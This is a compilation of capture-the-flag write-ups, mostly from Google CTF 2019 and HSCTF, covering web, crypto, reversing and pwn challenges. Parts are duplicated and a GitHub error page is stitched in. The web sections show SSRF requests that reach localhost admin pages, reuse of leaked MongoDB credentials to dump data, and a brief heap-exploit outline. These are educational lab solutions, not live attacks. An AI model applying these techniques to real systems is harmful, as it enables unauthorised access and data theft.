After some trial and error, we find that we can try to use `/watch?livestream=...` for a Local File Inclusion attack. However, it comes with a catch: `/watch?livestream=...` requires the file to begin with `http://cwo-xss.web.ctfcompetition.com`. We can use this trick as a workaround:
```GET /watch?livestream=http://[email protected]/b/0123456789 HTTP/1.1Host: cwo-xss.web.ctfcompetition.com
```
After confirming that this request goes through, we can finally grab the second flag, found at <http://cwo-xss.web.ctfcompetition.com/watch?livestream=http://cwo-xss.web.ctfcompetition.com@localhost/admin/controls>:
```GET /watch?livestream=http://cwo-xss.web.ctfcompetition.com@localhost/admin/controls HTTP/1.1Host: cwo-xss.web.ctfcompetition.com
```
```HTTP/1.1 200 OKDate: Sun, 23 Jun 2019 11:57:55 GMTContent-Type: text/html; charset=utf-8Content-Length: 1529Vary: Accept-EncodingServer: gunicorn/19.9.0Via: 1.1 google
<html lang="en"> <head> <meta charset="UTF-8"> <title>CWO Network</title> <link rel="stylesheet" href="/static/css/main.css"> <link href="https://fonts.googleapis.com/css?family=Roboto" rel="stylesheet"> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.0/jquery.min.js"></script> <script src="/static/js/main.js"></script> <script src="/static/js/admin.js"></script> </head> <body> <div class="top-bar"> <div class="top-bar-container"> <div class="top-bar-logo"> CWO </div> </div> </div> <div class="admin-wrapper"> <div class="admin-side-nav"> <div class="admin-side-item"> Users </div> <div class="admin-side-item"> Livestreams </div> <div class="admin-side-item"> Camera Controls </div> </div> <div class="admin-container"> <div class="admin-message"> CTF{WhatIsThisCookieFriendSpaceBookPlusAllAccessRedPremiumThingLooksYummy} </div> <div class="controls-title"> Livestream Controls </div> <div class="livestream-video"> <video loop autoplay muted src="/watch?livestream=http://localhost//livestream/garden-livestream.webm" /> </div> </div> </div> </body></html>
```
There it is, the second flag!
**Flag 2**: `CTF{WhatIsThisCookieFriendSpaceBookPlusAllAccessRedPremiumThingLooksYummy}`
You should be redirected automatically to target URL: /. If not click the link.```
And this is when we make the same request with the `auth` token set:
```GET /admin HTTP/1.1Host: cwo-xss.web.ctfcompetition.comCookie: auth=TUtb9PPA9cYkfcVQWYzxy4XbtyL3VNKz
```
```HTTP/1.1 200 OKDate: Sun, 23 Jun 2019 11:51:00 GMTContent-Type: text/html; charset=utf-8Content-Length: 1115Vary: Accept-EncodingServer: gunicorn/19.9.0Via: 1.1 google
<html lang="en"> <head> <meta charset="UTF-8"> <title>CWO Network</title> <link rel="stylesheet" href="/static/css/main.css"> <link href="https://fonts.googleapis.com/css?family=Roboto" rel="stylesheet"> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.0/jquery.min.js"></script> <script src="/static/js/main.js"></script> <script src="/static/js/admin.js"></script> </head> <body> <div class="top-bar"> <div class="top-bar-container"> <div class="top-bar-logo"> CWO </div> </div> </div> <div class="admin-side-nav"> <div class="admin-side-item"> Users </div> <div class="admin-side-item"> Livestreams </div> <div class="admin-side-item"> Camera Controls </div> </div> <div class="admin-container"> <div class="admin-message"> </div> </div> </body></html>```
Unfortunately, we cannot access <https://cwo-xss.web.ctfcompetition.com/admin/controls> just yet:
```GET /admin/controls HTTP/1.1Host: cwo-xss.web.ctfcompetition.com
```
```HTTP/1.1 403 FORBIDDENDate: Sun, 23 Jun 2019 11:55:41 GMTContent-Type: text/html; charset=utf-8Content-Length: 37Vary: Accept-EncodingServer: gunicorn/19.9.0Via: 1.1 google
Requests only accepted from 127.0.0.1```
After some trial and error, we find that we can try to use `/watch?livestream=...` for a Local File Inclusion attack. However, it comes with a catch: `/watch?livestream=...` requires the file to begin with `http://cwo-xss.web.ctfcompetition.com`. We can use this trick as a workaround:
```GET /watch?livestream=http://[email protected]/b/0123456789 HTTP/1.1Host: cwo-xss.web.ctfcompetition.com
```
After confirming that this request goes through, we can finally grab the second flag, found at <http://cwo-xss.web.ctfcompetition.com/watch?livestream=http://cwo-xss.web.ctfcompetition.com@localhost/admin/controls>:
```GET /watch?livestream=http://cwo-xss.web.ctfcompetition.com@localhost/admin/controls HTTP/1.1Host: cwo-xss.web.ctfcompetition.com
```
```HTTP/1.1 200 OKDate: Sun, 23 Jun 2019 11:57:55 GMTContent-Type: text/html; charset=utf-8Content-Length: 1529Vary: Accept-EncodingServer: gunicorn/19.9.0Via: 1.1 google
<html lang="en"> <head> <meta charset="UTF-8"> <title>CWO Network</title> <link rel="stylesheet" href="/static/css/main.css"> <link href="https://fonts.googleapis.com/css?family=Roboto" rel="stylesheet"> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.0/jquery.min.js"></script> <script src="/static/js/main.js"></script> <script src="/static/js/admin.js"></script> </head> <body> <div class="top-bar"> <div class="top-bar-container"> <div class="top-bar-logo"> CWO </div> </div> </div> <div class="admin-wrapper"> <div class="admin-side-nav"> <div class="admin-side-item"> Users </div> <div class="admin-side-item"> Livestreams </div> <div class="admin-side-item"> Camera Controls </div> </div> <div class="admin-container"> <div class="admin-message"> CTF{WhatIsThisCookieFriendSpaceBookPlusAllAccessRedPremiumThingLooksYummy} </div> <div class="controls-title"> Livestream Controls </div> <div class="livestream-video"> <video loop autoplay muted src="/watch?livestream=http://localhost//livestream/garden-livestream.webm" /> </div> </div> </div> </body></html>
```
There it is, the second flag!
**Flag 2**: `CTF{WhatIsThisCookieFriendSpaceBookPlusAllAccessRedPremiumThingLooksYummy}`
|
# Keith LoggerDescription```Written by: dwang
Keith is up to some evil stuff! Can you figure out what he's doing and find the flag?
Note: nothing is actually saved```[extension.crx](extension.crx)
I used this [website](https://robwu.nl/crxviewer/) to view the content of the extension

Nothing interesting in first URL```https://keith-logger.web.chal.hsctf.com/api/record?text=fcuk&url=textResult:{'text': 'fcuk', 'url': 'text', 'time': '04:41:36.281060'}```Second one seems interesting```https://keith-logger.web.chal.hsctf.com/api/adminResult:didn't have time to implement this page yet. use admin:[email protected]:27017 for now```Seems we can connect MongoDB from the port 27017 with given username and password (admin:keithkeithkeith)
I tried to nmap it to see whether the port its open:```# nmap keith-logger-mongodb.web.chal.hsctf.com -p 27017Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-08 12:45 +08Nmap scan report for keith-logger-mongodb.web.chal.hsctf.com (35.245.189.169)Host is up (0.32s latency).rDNS record for 35.245.189.169: 169.189.245.35.bc.googleusercontent.com
PORT STATE SERVICE27017/tcp open mongod
Nmap done: 1 IP address (1 host up) scanned in 1.33 seconds```Yeah! Do a quick google search about how to connect MongoDB
At last, I used PyMongo (Python) because I can't install the Command line tools
```pythonfrom pymongo import MongoClientclient = MongoClient('mongodb://admin:[email protected]', 27017)cursor = client['database']['collection'].find({})for document in cursor: print document```## Result```{u'url': u'https://keith-logger.web.chal.hsctf.com/', u'text': u'are kitties cool', u'_id': ObjectId('5cf0512d464d9fe1d9915fbd'), u'time': u'21:54:53.925045'}{u'url': u'https://keith-logger.web.chal.hsctf.com/', u'text': u'because i think they are', u'_id': ObjectId('5cf051a95501f2901a915fbd'), u'time': u'21:56:57.974856'}{u'url': u'https://keith-logger.web.chal.hsctf.com/', u'text': u'meow! :3', u'_id': ObjectId('5cf051b3464d9fe1d9915fbe'), u'time': u'21:57:07.295378'}{u'url': u'https://keith-logger.web.chal.hsctf.com/', u'text': u'meow! :3', u'_id': ObjectId('5cf0520b464d9fe1d9915fbf'), u'time': u'21:58:35.030635'}{u'url': u'https://keith-logger.web.chal.hsctf.com/', u'text': u"if you're looking for the flag", u'_id': ObjectId('5cf05212464d9fe1d9915fc0'), u'time': u'21:58:42.170470'}{u'url': u'https://keith-logger.web.chal.hsctf.com/', u'text': u"it's hsctf{watch_out_for_keyloggers}", u'_id': ObjectId('5cf0521b5501f2901a915fbe'), u'time': u'21:58:51.359556'}```
# Flag> hsctf{watch_out_for_keyloggers} |
# Forgot Your Password
## Description
Help! I got this new lock for Christmas, but I've forgotten the first two values. I know the last value is hsctfissocoolwow.
I also managed to grab a copy of their secret key generator. Can you help me out?
Note: submit the first two combo values separated by a space in hex format.
[generator.py](generator.py)
## Solution
This generator takes two secret numbers and do several complicated operation, next().```def o(x,k): return x<<kdef m(a): return a&0xffffffffffffffffdef next(): b = m(s[0]+s[1]) h() return m(b)def p(k, x): return x>>(64-k)def x(b, a): return a^bdef oro(a, b): return a|bdef h(): s1 = m(x(s[0],s[1])) s[0] = m(x(oro(o(s[0],55),p(55,s[0])),x(s1,(o(s1,14))))) s[1] = m(oro(o(s1,36),p(36,s1)))```
In the last step, its output should be the hex encode of 'wowlooco' and the second last step's should be 'ssiftcsh', so the isp(bin2chr(next()))+isp(bin2chr(next())) would output 'hsctfissocoolwow'.
```def bin2chr(data): result = '' while data: char = data & 0xff result += chr(char) data >>= 8 return result
def isp(d): if all(c in ch for c in d): return d else: return d.encode('hex')```
It is a SAT problem and is a perfect job for z3.
Lets claim two variable s[0] and s[1] as 65 bits vector.
```s = [BitVec('s0',65),BitVec('s1',65)]```Like the [generator](generator.py), we do next() four times (the first two are not necessary).
And the next two next's outputs should be```>>> 'ssiftcsh'.encode('hex')'7373696674637368'>>> 'wowlooco'.encode('hex')'776f776c6f6f636f'```Putting them together, the [script](reverse.py) gave me the secret number:
```sat[s1 = 15319349121703965325, s0 = 1975711866010926419]```Throwing them back to [generator](generator.py), the output is:```Thanks! Your numbers are: e06f76cd556604f0f21c34f1519d2fd273c8535ab0f954b5ad1cbab7abc18309hsctfissocoolwow```Nice job! So the flag is```e06f76cd556604f0f21c34f1519d2fd2 73c8535ab0f954b5ad1cbab7abc18309``` |
# FriendSpaceBookPlusAllAccessRedPremium.com
>Having snooped around like the expert spy you were never trained to be, you found something that takes your interest: "Cookie/www.FriendSpaceBookPlusAllAccessRedPremium.com" But unbeknownst to you, it was only the 700nm Wavelength herring rather than a delicious cookie that you could have found. It looks exactly like a credential for another system. You find yourself in search of a friendly book to read.
>Having already spent some time trying to find a way to gain more intelligence... and learn about those fluffy creatures, you (several)-momentarily divert your attention here. It's a place of all the individuals in the world sharing large amounts of data with one another. Strangely enough, all of the inhabitants seem to speak using this weird pictorial language. And there is hot disagreement over what the meaning of an eggplant is.
>But not much Cauliflower here. They must be very private creatures. SarahH has left open some proprietary tools, surely running this will take you to them. Decipher this language and move forth!
## The problem
This is a typical reversing task. We get 2 files: one python script and one file containing a bunch of hex strings separated by newlines. Looking at the script we see that the script is a virtual stack emulator (probably even turing complete) that takes commands in the form of emojis. From a structural point of view we have 2 accumulators (1,2) and 1 stack. The available instructions are:
- add (add the last two values of the stack)- sub (substract last two values of the stack)- multiply (multiply last two value of stack)- divide (divide second last value of stack by top of stack)- modulo (modulo last second value of stack by top of stack)- xor (xor last two values of stack)- load (set selected accumulator to given value)- pop (set selected accumulator to top value in stack)- pop_out (pop last value in stack)- clone (append last value of stack to stack)- push (append value of selected accumulator to stack)- jump_to (jump to address)- jump_top (jump to location at top of stack)- print_top (print top value of stack)- if_zero, if_not_zero, find_first_endif (loop controls
To make it simpler, I wrote a small snippet that converts the emojis to plain english, making it easier to read. I also manually edited the jump_to adresses (denoted by a basketball) and return addresses (denoted by a pencil/cigarette).
## Approach
After running the code it becomes clear that something increments and it takes longer for each loop to print each letter. We clearly sees it's a url. To better understand exactly what is the limiting factor, I first tried to read the code as one would for an assembly dump, manually keeping track of the stack and accumulators. I especially tried to backtrack from the first printed character and that's when I noticed the following:
```389:xor390:printop```
Aha, so immediately prior printing, the top two values of the stack are xored and the result is printed. I set a breakpoint of sort immediately beforehand to see what is in the stack before each letter is printed and got the following result as top 2 stack values:
h: 106, 2t: 119, 3t: 113, 5p: 119, 7:: 49, 11/: 74, 101/: 172, 131e: 242: 151
Ok, this is interesting. I'm a simple guy, I see increasing numbers, I think mathematical series. A quick google search reveals that this is the [palindromic primes](https://en.wikipedia.org/wiki/Palindromic_prime) series. A palindromic prime is a prime number that reads identically from left to right. There are several ways to construct them but you can also just copy them.
But where do the numbers come from? A quick look at the pseudo-assembly dump reveals a series of load operations at the very beginning of the program. The stack after the last load looks like this:
```[0, 17488, 16758, 16599, 16285, 16094, 15505, 15417, 14832, 14450, 13893, 13926, 13437, 12833, 12741, 12533, 11504, 11342, 10503, 10550, 10319, 975, 1007, 892, 893, 660, 743, 267, 344, 264, 339, 208, 216, 242, 172, 74, 49, 119, 113, 119, 106]```
Thus all we need to do is to reverse the list and xor each element with the palindromic prime at that index, yielding:
```http://emoji-t0anaxnr3nacpt4na.web.ctfco```
So definitely on the right track. I assumed that the end was going to be ```mpetition.com``` and it actually does directs us to a website that looks like a website for cats.
## Going off on a tangent
I spent the better part of 2 hours mapping the webiste (using one of my earlier scripts, basically DFS) and trying to find the hidden meaning, which I still think exists, but got nowhere. I hope to expand this section in the future and prove myself right.
## Solving
I went back to the code and noticed that there are 2 more sections of loading. The first one between instructions 404 and 557 and the second between 583 and 997. Essentially, these are the thrid and second part of the url which we need. The trick however, is that the palindromic primes series skips several numbers a few times and we to identify which one.
First we reset the stack, set the instruction pointer to the respective sections and then let it run until the section end to look at our stack. Second and third part look like this:
```part 2: [98426, 97850, 97604, 97280, 96815, 96443, 96354, 95934, 94865, 94952, 94669, 94440, 93969, 93766]part 3: [101141058, 101060206, 101030055, 100998966, 100887990, 100767085, 100707036, 100656111, 100404094, 100160922, 100131019, 100111100, 100059926, 100049982, 100030045, 9989997, 9981858, 9980815, 9978842, 9965794, 9957564, 9938304, 9935427, 9932289, 9931494, 9927388, 9926376, 9923213, 9921394, 9919154, 9918082, 9916239]```
Now we know that the first letter of the second part will be ```m```. So all we need to di is find the index of ```ord(m)^93766``` in our palindromic primes list, which turns out to be index 98. So we simply repeat the operation for part 1 but take 98 as our starting point in the palindromc primes list, xor pairwise and promptly get:
```mpetition.com/```
Ok, great job but now we don't know what the first letter of the third part is. Well, we do know there is a palindromic prime somewhere so how about trying to xor the first item of part 4 (```9916239```) which each char and see if we get a palindrome? Jackpot! The first letter is ```h``` and the corresponding palindrome is ```9916199```.
Now at this point I ran into a problem with mz palindromic primes generator because a) it sucked, b) the numbers were too large so I had to resort to downloading a prime list (first 10mio) and then getting all palindromic ones. But pretty soon it emerged that the index of our last first palindormic primes was 764. Repeat what we did in the prvious 2 steps and we get the final part:
```humans_and_cauliflowers_network/```
So our final url is : ```http://emoji-t0anaxnr3nacpt4na.web.ctfcompetition.com/humans_and_cauliflowers_network/````
And voila, visiting the site and clicking the few profiles finally yields the flag! It was a great challenge, one of the better ones in recent memory and I wish there were more like this!
|
# Tux Kitchen
>I need to bake it!
## Problem
The function works as follows:
1) Get a random key
2) Create a random list of numbers based on the key and 3 other random constants that is as long as the flag
3) Multiply each number by the order of the character of the flag
4) Xor each resulting number by ```MY_LUCKY_NUMBER``` then add ```MY_LUCKY_NUMBER * len(flag)``` to the last number in the list
## Solving
All we need is to reverse the last function, which is trivial. After this, we know that each number is a random number ```r_n``` multiplied by the order of the character. The point here is that ```r_n``` never matters since, over several runs, it will change but the order of the character wont.
So over 5 runs we will have, at position 0:
```f_0_0 = r_0_0 * ord(f[0])f_0_1 = r_0_1 * ord(f[0])f_0_2 = r_0_2 * ord(f[0])f_0_3 = r_0_3 * ord(f[0])f_0_4 = r_0_4 * ord(f[0])```
Here ```f_0_k``` is the reversed number at position 0 and ```r_0_k``` the random number for round ```k``` at index 0. What we see is that those 5 nubers will have ```ord(f[0])``` as a common multiple. Therefore all we need is to get a large enough sample size, calculate the gcd for each position.
|
## Write-up: Drive to the Target
Google CTF 2019: [Beginner’s Quest](https://capturetheflag.withgoogle.com/#beginners/)

This is a `coding` challenge about finding the right coordinates of the target: <https://drivetothetarget.web.ctfcompetition.com>

A message tells us whether we are “getting closer” or “getting away” from the target:

The URL has three parameters: `lat`, `lon` and `token`: <https://drivetothetarget.web.ctfcompetition.com/?lat=51.6507&lon=0.0987&token=gAAAAABdEz5ayGhccq-sfNR5MWK4Xv-Q8IH1okHTahnCed-WpxKmPhiDxrR5A0ajVJyjAQdqwKZM1fJ9ZPs3s7g9D8YpAKRDpstfcwQreNLKx453eDL0KywyFS9HV6YQFT6AZtmAE-9e>
`token` contains a timestamp of some sort, which is how the application detects when we are traveling too fast (at least 50 km/h):

One strategy is to travel in one direction (`lat` or `lon`) until we are “getting away” from the target for the first time and then to travel perpendicular until we are “getting away” again. We can speed this up by driving to the target in a straight line.
A little trick helps us determine the direction of the target:
* Remember a specific location’s `lat`, `lon` and `token` values.* From this point, drive in multiple directions and observe whether we are “getting away” or “getting closer”.* In between two directions where we are both getting away and closer, the distance between us and the target remains roughly the same.* Turn 90 degrees to face the target.
The principle is outline here (see the [code below](#code) for the complete solution):
```python def recalc_angle(self): last_facing = None for angle in range(0, 361, 4): # 0: north, 90: east, 180: south, 270: west dx, dy = move(angle, 0.0001) response = request(self.lat + dy, self.lon + dx, self.token)
facing = 'away' if response.is_moving_away() else 'closer' if facing == 'closer' and last_facing == 'away': self.angle = angle + 88 return else: last_facing = facing```
This is only an approximation and introduces some errors (such as assuming a 2-dimensional Euclidean plane), but by recalculating our direction every now and then, we can reduce the time it takes to reach the target to about 40 minutes.
Once we are close enough to the target, we find the flag:

<https://drivetothetarget.web.ctfcompetition.com/?lat=51.4921&lon=-0.1929&token=gAAAAABdD7TmGy_v7DkVKysnHPkZO8e4mC7bgsQzZTPYhLeAc8VYeM2eyZp7QBlnaTh_epEoxodoKCIWv79yFOXQ4mfOK5MXgWr41kNS00DSYV30Im97PchNQVY6VsA6oacxbUL-Vgki>
**Flag**: `CTF{Who_is_Tardis_Ormandy}`
## Code
[./driving.py](https://github.com/weibell/ctf-google2019-beginners/blob/master/write-up/day6-easier/driving.py)
```pythonimport mathimport reimport timeimport requestsfrom bs4 import BeautifulSoup
# Finds the target in about 40 minutes.class Driver:
def __init__(self): self.response = request(init=True) self.lat = self.response.lat self.lon = self.response.lon self.token = self.response.token
self.angle = 0 self.steps_since_recalc = 0 self.recalc_angle()
self.step_size = 0.0001
def run(self): self.step() while not self.response.is_done(): while self.response.is_moving_closer(): self.print_status() time.sleep(1) if self.response.speed() < 48: self.step_size *= 1.005 if self.steps_since_recalc > 120: self.recalc_angle() else: self.steps_since_recalc += 1 self.step()
if self.response.is_moving_away(): self.print_status() self.recalc_angle() self.step_size = 0.0001 self.step()
elif self.response.is_too_fast(): self.step_size *= .99 self.step()
elif self.response.is_done(): self.print_status() return self.response self.print_status()
def step(self): dx, dy = move(self.angle, self.step_size) response = request(self.lat + dy, self.lon + dx, self.token) if response.is_moving_closer(): # only update location if moving closer self.lat = response.lat self.lon = response.lon self.token = response.token self.response = response
def recalc_angle(self): # Sets self.angle to the approximate direction of the target. # Assumes a 2-d Euclidean plane, which introduces somewhat of an error. self.steps_since_recalc = 0 print('Recalculating angle ', end='') last_facing = None for angle in range(0, 361, 4): # 0: north, 90: east, 180: south, 270: west print('.', end='', flush=True) dx, dy = move(angle, 0.0001)
response = request(self.lat + dy, self.lon + dx, self.token) while response.is_too_fast(): time.sleep(1) response = request(self.lat + dy, self.lon + dx, self.token)
if response.is_done(): self.angle = angle print() return
facing = 'away' if response.is_moving_away() else 'closer' if facing == 'closer' and last_facing == 'away': self.angle = angle + 88 print() return else: last_facing = facing
def print_status(self): print(f'{self.response.msg} | lat: {self.response.lat:.15f} | lon: {self.response.lon:.15f}' f' | angle: {self.angle}° | URL: {self.response.get_url()}')
class Response: def __init__(self, msg, lat, lon, token): self.msg = msg self.lat = lat self.lon = lon self.token = token
def is_moving_closer(self): return 'getting closer' in self.msg
def is_moving_away(self): return 'getting away' in self.msg
def is_too_fast(self): return 'too fast' in self.msg
def is_not_moving(self): return 'you should move' in self.msg
def is_done(self): return not (self.is_moving_closer() or self.is_moving_away() or self.is_too_fast() or self.is_not_moving())
def speed(self): return int(re.findall('\\b(\\d+)km/h', self.msg)[0])
def get_url(self): return f'https://drivetothetarget.web.ctfcompetition.com/?lat={self.lat}&lon={self.lon}&token={self.token}'
def request(lat=None, lon=None, token=None, init=False): if init: link = 'https://drivetothetarget.web.ctfcompetition.com/' else: link = f'https://drivetothetarget.web.ctfcompetition.com/?lat={lat}&lon={lon}&token={token}' soup = BeautifulSoup(requests.get(link).text, 'html.parser')
msg = soup.find_all('p')[-1].get_text() new_lat = float(soup.find('input', {'name': 'lat'}).get('value')) new_lon = float(soup.find('input', {'name': 'lon'}).get('value')) new_token = soup.find('input', {'name': 'token'}).get('value') return Response(msg, new_lat, new_lon, new_token)
def move(angle, distance): rad = math.radians(angle) dx = math.sin(rad) * distance dy = math.cos(rad) * distance return dx, dy
if __name__ == '__main__': driver = Driver() driver.run()```
|
Our solution to this challenge was to create unaligned jumps using special unicode characters, to mark the data segment as executable and to write shellcode that allowed to spawn a shell. |
# Singular>Alice and Bob calculated a shared key on the elliptic curve y^2 = x^3 + 330762886318172394930696774593722907073441522749x^2 + 6688528763308432271990130594743714957884433976x + 759214505060964991648440027744756938681220132782 p = 785482254973602570424508065997142892171538672071 G = (1, 68596750097555148647236998220450053605331891340) (Alice's public key) P = d1 * G = (453762742842106273626661098428675073042272925939, 680431771406393872682158079307720147623468587944) (Bob's poblic key) Q = d2 * G = (353016783569351064519522488538358652176885848450, 287096710721721383077746502546881354857243084036) They have calculated K = d1 * d2 * G. They have taken K's x coordinate in decimal and took sha256 of it and used it for AES ECB to encrypt the flag.>Here is the encrypted flag: 480fd106c9a637d22fddd814965742236eb314c1b8fb68e70a7c7445ff04476082f8b9026c49d27110ba41b95e9f51dc
The challenge name suggests that the elliptic curve is singular.
## Factoring
The discriminant of a elliptic curve `y^2=x^3+a2x^2+a4x+a6` is `16(-4*a2^3*a6+a2^2*a4^2+18*a2*a4*a6-4*a4^3-27*a6^2)`
The properties of the discriminant: - Invariance by translation - 0 if a repeated root exists
We notice that the discriminant of the curve given under `mod p` is `0`, meaning, under `mod p`, it can be factored into `(x-k1)(x-k1)(x-k2)` where `k1` is a repeated root of multiplicity `2` and `k2` is a root.
Applying such a factorization to the polynomial gives us a triple root:
`y^2=(x-413400541209677581972773119133520959089878607131)^3`
## Additive group
By transforming `x → x+413400541209677581972773119133520959089878607131`, the curve becomes `y^2=x^3` which is (in)famous for degenerating into the additive group via the mapping `(x, y) → x/y` and `inf → 0`
Now ECC point addition is simply adding `x/y`s together, so the DLP is trivial via modular division
> Flag: `hackim19{w0ah_math_i5_quite_fun_a57f8e21}` |
# Agent Keith
## Description
Keith was looking at some old browsers and made a site to hold his flag.
https://agent-keith.web.chal.hsctf.com
## Solution
The web asked us to be right agent.

The source page pointed out the agent we should be is __NCSA_Mosaic/2.0 (Windows 3.1)__

Make a request using Arc with the required agent.

Get access to the flag.

```hsctf{wow_you_are_agent_keith_now}``` |
<html> <head> <meta content="origin" name="referrer"> <title>Internal server error · GitHub</title> <meta name="viewport" content="width=device-width"> <style type="text/css" media="screen"> body { background-color: #f6f8fa; color: rgba(0, 0, 0, 0.5); font-family: -apple-system,BlinkMacSystemFont,Segoe UI,Helvetica,Arial,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol; font-size: 14px; line-height: 1.5; } .c { margin: 50px auto; max-width: 700px; text-align: center; padding: 0 24px; } a { text-decoration: none; } a:hover { text-decoration: underline; } h1 { color: #24292e; line-height: 60px; font-size: 48px; font-weight: 300; margin: 0px; } p { margin: 20px 0 40px; } #s { margin-top: 35px; } #s a { color: #666666; font-weight: 200; font-size: 14px; margin: 0 10px; } </style> </head> <body> <div class="c"> <h1>Whoops, something went wrong!</h1> We track these errors automatically, but if the problem persists feel free to contact us. In the meantime, try refreshing. <div id="s"> Contact Support — GitHub Status — @githubstatus </div> </div> </body></html>
We track these errors automatically, but if the problem persists feel free to contact us. In the meantime, try refreshing. |
# Gate lock - Google CTF Beginner's Quest## Boolean satisfiability problem in Minetest

Ok, this one was a pain in the ass... We get a Minetest (a Minecraft-like game) world. We open this world in Minetest and arrive at a platform containing a large boolean circuit:The input consists of 20 levers, and we need to find an assignement Up/Down of these levers to light up the final wire of this circuit.
There are 2^20 configurations of levers, which is around 1 million. So this is easily bruteforceable (we could also use Z3 to be fancy). The only question is: how do we simulate the circuit?
After spending some time looking how to write scripts in Minetest, get the map data, or just use a bot, I decided it would just be easier to write the circuit on a sheet of paper and transcript it in python. So I did just that...
After this tedious, boring job, solving the challenge is easy. Here is the python implementation:```python
m itertools import product
def first_stage(x): return [ x[2] and not x[3], x[4] or x[5], x[14] or x[6], x[9] and not x[1], x[20] and not x[18], x[17] or x[19], x[7] and not x[6], x[16] or x[8], x[10] or not x[2], x[12] or not x[4], x[2] or not x[10], x[5] or not x[13], x[11] and x[3], x[13] or not x[5], x[4] or not x[12], x[14] and x[6], x[15] and x[7], x[15] or x[7], x[11] or x[3] ]
def second_stage(x): return [ x[1] and not x[2], x[3] and x[4], x[5] and not x[6], x[7] and not x[8], x[10] and x[11], x[12] and not x[13], x[14] and x[15], x[16] or x[17], x[18] and x[19] ]
def third_stage(x,f): return [ x[1] and x[2], x[3] and x[4], x[5] and f[9], x[6] and x[7], x[8] or not x[9] ]
def fourth_stage(x): return [ x[1] and x[2], x[4] and not x[5] ]
def circuit(arr): f = first_stage(arr) f = [None] + f s = second_stage(f) s = [None] + s t = third_stage(s,f) t= [None] + t f4 = fourth_stage(t) last = f4[0] and (f4[1] and t[3]) return last
def solution(): for arr in product([True,False],repeat=20): l = list(arr) l = [None] + l if circuit(l): return arr
sol = solution()print('CTF{{{}}}'.format( ''.join(['1' if sol[i] else '0' for i in range(20)]) ))```which outputs the flag `CTF{01000010111001000001}`. And here is the final configuration: |
It's easy to find the off-by-null bug in read_n(0x40091E), luckily there is no PIE.
So we can use unlink, then leak libc and control pc by modifying `__malloc_hook` or so.
Here is my [exploit](https://github.com/bash-c/pwn_repo/blob/master/ISITDTU2019_iz_heap_lv2/solve.py). Follow [me](https://github.com/bash-c/) if you like this writeup :) |
# Quantum Key Distribution - Writeup ##### By *sh4d0w58*
### Description:>We are simulating a Quantum satellite that can exchange keys using qubits implementing BB84. You must POST the qubits and basis of measurement to `/qkd/qubits` and decode our satellite response, you can then derive the shared key and decrypt the flag. Send 512 qubits and basis to generate enough key bits.
> **Flag:** U2FsdGVkX19OI2T2J9zJbjMrmI0YSTS+zJ7fnxu1YcGftgkeyVMMwa+NNMG6fGgjROM/hUvvUxUGhctU8fqH4titwti7HbwNMxFxfIR+lR4=
### Solution:
See [here](https://qt.eu/understand/underlying-principles/quantum-key-distribution-qkd/) for a full explanation of how **Quantum Key Distribution** works.
First we need to generate the qubits and basis. To make things simpler, we set each qubit to `0+1j` and each basis to `"+"`. This means that every qubit, when measured, will result in a `1`. There are actually three other combinations of qubits and basis which result in a known bit, but this is the only one which does not get rejected and produce an error from the server about our data not being random enough.```basis = ["+" for i in range(512)]qubits = [{"real": 0, "imag": 1} for i in range(512)]body = {"basis": basis, "qubits": qubits}```
Next we send our qubits and basis to the server and read the response.```url = "https://cryptoqkd.web.ctfcompetition.com/qkd/qubits"req = urllib2.Request(url)req.add_header('Content-Type','application/json')response = json.loads(urllib2.urlopen(req, json.dumps(body)).read())```
The server responds with its basis and an `announcement` - our shared key containing (presumably XORed with) the encryption key for the flag. We can compute the shared key by comparing our basis with the server's and and discarding the (qu)bits when they do not match. We will then end up with the bits that we share. However, in this case, we do not need to do this because we know that all the bits in the shared key will be `1` because **every** sent bit was. From the server response, we know the key should be 128 bits long, so therefore it is `2**128-1` (`11111..11` in binary). And we simply XOR the shared key with the `announcement` to get the encryption key.```server_basis = response["basis"]announcement = int(response["announcement"],16)shared_key = 2**128-1print(hex(announcement^shared_key))```
This gives us the encryption key, `0x946cff6c9d9efed002233a6a6c7b83b1`. We can then use this to decrypt the flag, `U2FsdGVkX19OI2T2J9zJbjMrmI0YSTS+zJ7fnxu1YcGftgkeyVMMwa+NNMG6fGgjROM/hUvvUxUGhctU8fqH4titwti7HbwNMxFxfIR+lR4=````$ echo "946cff6c9d9efed002233a6a6c7b83b1" > /tmp/plain.key; xxd -r -p /tmp/plain.key > /tmp/enc.key$ echo "U2FsdGVkX19OI2T2J9zJbjMrmI0YSTS+zJ7fnxu1YcGftgkeyVMMwa+NNMG6fGgjROM/hUvvUxUGhctU8fqH4titwti7HbwNMxFxfIR+lR4=" | openssl enc -d -aes-256-cbc -pbkdf2 -md sha1 -base64 --pass file:/tmp/enc.key```
The flag: `CTF{you_performed_a_quantum_key_exchange_with_a_satellite}`
### Full Code:```#!/usr/bin/env pythonimport urllib2import json
basis = ["+" for i in range(512)]qubits = [{"real": 0, "imag": 1} for i in range(512)]body = {"basis": basis, "qubits": qubits}
url = "https://cryptoqkd.web.ctfcompetition.com/qkd/qubits"req = urllib2.Request(url)req.add_header('Content-Type','application/json')response = json.loads(urllib2.urlopen(req, json.dumps(body)).read())
server_basis = response["basis"]announcement = int(response["announcement"],16)shared_key = 2**128-1print(hex(announcement^shared_key))``` |
# Code Golf## Google CTF 2019
## Index* [Acknowledgements](#Acknowledgements)* [The problem](#The-problem) * [Problem statement](#Problem-statement) * [Some background](#Some-background) * [Lessons](#Lessons)* [The solution](#The-solution) * [A first pass](#A-first-pass) * [The first correct code](#The-first-correct-code) * [More compact code](#More-compact-code) * [The first accepted code](#The-first-accepted-code)* [Golfing transformations](#Golf-you-a-Haskell)* [NP-Completeness](#NP-Completeness)
## Acknowledgements
This writeup is done by Cole Kurashige.
I'd like to thank Kye Shi for his help designing a faster algorithm, and Giselle Serate for algorithm verification and actually running the code. Also forshowing me the CTF.
# The problem
As a foreward/warning, this is a lengthy writeup. If you want the TL;DR highlights , first read the [problem statement](#Problem-statement) if you aren't familiar with the problem.I think the most interesting highlights are the[golfing tips](#Golf-you-a-Haskell), specifically [this one](#Finding-the-possible-shifts), andthe [NP-Completeness proof](#NP-Completeness).
